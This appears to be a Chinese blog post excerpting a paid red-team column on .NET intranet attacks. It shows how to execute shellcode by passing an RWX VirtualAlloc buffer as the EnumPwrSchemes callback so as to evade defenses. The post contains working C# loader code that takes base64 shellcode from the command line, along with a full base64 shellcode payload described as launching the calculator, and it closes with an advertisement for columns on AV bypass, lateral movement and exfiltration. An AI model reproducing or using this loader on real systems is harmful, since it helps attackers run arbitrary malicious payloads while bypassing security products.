.NET内网实战:通过回调函数执行Shellcode

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧。

02基本介绍

本文内容部分节选自小报童《.NET 通过回调函数执行Shellcode启动进程》!

图片

03编码实现

在红队活动往往需要考虑如何在实际环境中绕过防御机制,启动木马进程。今天,我们将深入探讨一种较少被提及但非常有趣的技术—利用 EnumPwrSchemes 函数回调来执行Shellcode。

3.1 EnumPwrSchemes函数

EnumPwrSchemes 是 Windows 操作系统中的一个 API 函数,位于 C:\Windows\System32\powrprof.dll 库中,用于枚举系统中的电源配置,可以控制计算机的电源使用策略,比如休眠、关闭硬盘、显示器等。EnumPwrSchemes 函数原型如下所示。

BOOLEAN EnumPwrSchemes(
  PWRSCHEMESENUMPROC lpfn,
  LPARAM             lParam
);

接受一个回调函数和一个参数指针,其中,lpfn参数是一个指向回调函数的指针,该回调函数用于处理每个电源配置的详细信息,另一个参数lParam,是一个自定义参数,类型为 LPARAM,它会被传递给回调函数,通常用于传递上下文信息,每当找到一个系统电源配置时,会自动调用该函数。

3.2 EnumPwrSchemes函数

下面这个代码片段展示了如何在.NET中使用 VirtualAlloc 和 EnumPwrSchemes 函数协同完成执行Shellcode启动计算器进程。

string base64Content = args[0];
byte[] shellcode = Convert.FromBase64String(base64Content);
IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
EnumPwrSchemes(addr, IntPtr.Zero);

上述代码中首先,从命令行参数中获取 Base64 编码的 Shellcode,这里使用启动本地计算器的Shellcode,具体如下所示。

/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAA==

综上,通过使用 EnumPwrSchemes 等 Windows API 函数,攻击者可以隐藏并执行恶意代码。

04.NET 电子报刊

本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理

图片

图片

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值